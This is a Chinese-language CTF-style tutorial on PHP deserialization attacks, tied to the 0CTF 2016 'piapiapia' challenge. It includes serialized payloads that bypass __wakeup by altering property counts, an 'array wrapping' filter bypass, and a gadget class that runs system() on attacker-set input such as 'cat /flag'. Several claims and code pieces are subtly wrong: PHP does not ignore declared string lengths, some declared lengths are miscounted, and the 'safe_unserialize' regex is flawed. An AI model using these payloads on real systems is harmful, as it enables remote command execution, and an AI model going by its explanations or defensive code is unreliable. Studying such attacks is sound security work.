PHP反序列化漏洞分析与防御实战
1. 题目背景与核心漏洞分析2016年0CTF的这道Web题目piapiapia考察了PHP反序列化漏洞的典型利用方式。题目设计者巧妙地将序列化长度修改与数组绕过技术结合构造了一个需要深入理解PHP序列化机制才能攻破的靶场。这个漏洞的核心在于当PHP反序列化字符串时如果人为修改序列化数据中的长度值会导致解析器错误地处理后续数据。这种特性可以被用来绕过某些安全限制甚至执行任意代码。2. PHP序列化机制深度解析2.1 序列化格式详解PHP序列化后的字符串遵循特定格式规则。以一个数组为例$user array(admin, guest, test); echo serialize($user);输出结果为a:3:{i:0;s:5:admin;i:1;s:5:guest;i:2;s:4:test;}各部分含义a:3表示这是一个包含3个元素的数组i:0第一个元素的键是整数0s:5:admin键0对应的值是长度为5的字符串admin2.2 关键漏洞点长度字段的可控性在序列化字符串中类似s:5:admin的长度声明5实际上是可以被任意修改的。PHP解析器会按照声明的长度读取后续内容而不会验证实际长度是否匹配。这就为漏洞利用创造了条件。3. 漏洞利用实战步骤3.1 题目环境搭建与初步分析首先我们需要搭建一个模拟环境来复现这个漏洞class Profile { public $role user; public $username; public function __construct($username) { $this-username $username; } public function __wakeup() { if ($this-role ! admin) { $this-role guest; } } } $data unserialize($_GET[data]); echo Current role: . $data-role;3.2 构造恶意序列化数据正常情况下序列化一个Profile对象$obj new Profile(test); echo serialize($obj);输出O:7:Profile:2:{s:4:role;s:4:user;s:8:username;s:4:test;}要绕过__wakeup中的检查我们可以修改序列化字符串中的属性数量原始O:7:Profile:2:{...}修改为O:7:Profile:3:{...}这样当PHP反序列化时由于声明的属性数量(3)大于实际数量(2)会跳过__wakeup方法的执行。3.3 数组绕过技术实现题目中还存在对某些关键词的过滤我们可以使用数组绕过$payload array(;, O:7:Profile:3:{s:4:role;s:5:admin;s:8:username;s:4:test;}); echo serialize($payload);输出a:2:{i:0;s:1:;;i:1;s:52:O:7:Profile:3:{s:4:role;s:5:admin;s:8:username;s:4:test;};}这种数组形式可以绕过某些简单的字符串过滤机制。4. 完整漏洞利用链构建4.1 改变序列化长度触发漏洞结合题目实际情况我们需要构造一个特殊的序列化字符串首先创建一个正常对象class Vulnerable { public $cmd whoami; public function __destruct() { system($this-cmd); } } $obj new Vulnerable(); echo serialize($obj);输出O:9:Vulnerable:1:{s:3:cmd;s:6:whoami;}修改长度声明构造payloadO:9:Vulnerable:2:{s:3:cmd;s:10:cat /flag;}这里我们将属性数量从1改为2同时将命令改为读取flag。4.2 结合数组绕过过滤如果系统过滤了某些字符可以使用数组包装$payload array( padding aaaaaa, exploit O:9:Vulnerable:2:{s:3:cmd;s:10:cat /flag;} ); echo serialize($payload);5. 防御措施与安全建议5.1 输入验证与过滤所有反序列化操作前应对输入进行严格验证function safe_unserialize($data) { if (preg_match(/^[aO]:[0-9]:/, $data)) { return false; // 拒绝对象类型 } return unserialize($data); }5.2 使用JSON替代序列化尽可能使用JSON而非PHP序列化// 序列化 $data json_encode($obj); // 反序列化 $obj json_decode($data, true);5.3 魔术方法的谨慎使用避免在__wakeup、__destruct等魔术方法中执行敏感操作。如果必须使用应添加额外验证public function __wakeup() { if (!isset($this-verified) || $this-verified ! true) { throw new Exception(Invalid object); } }6. 实战中的经验技巧长度计算工具使用strlen()精确计算字符串长度避免手动计数错误$str payload; $len strlen($str); // 正确获取长度十六进制绕过当某些字符被过滤时可以使用十六进制表示s:8:usern\x61me; // 等价于 username属性数量测试从1开始逐步增加属性数量测试__wakeup绕过O:7:Profile:1:{...} O:7:Profile:2:{...} O:7:Profile:3:{...}错误抑制技巧利用操作符抑制错误信息避免暴露太多调试信息unserialize($data);Session序列化处理器检查服务器配置不同处理器(php,php_serialize)会影响利用方式ini_get(session.serialize_handler);通过深入理解PHP反序列化机制和这些实战技巧安全研究人员可以更有效地发现和防御这类漏洞。对于开发者而言最重要的是永远不要反序列化不可信的输入数据。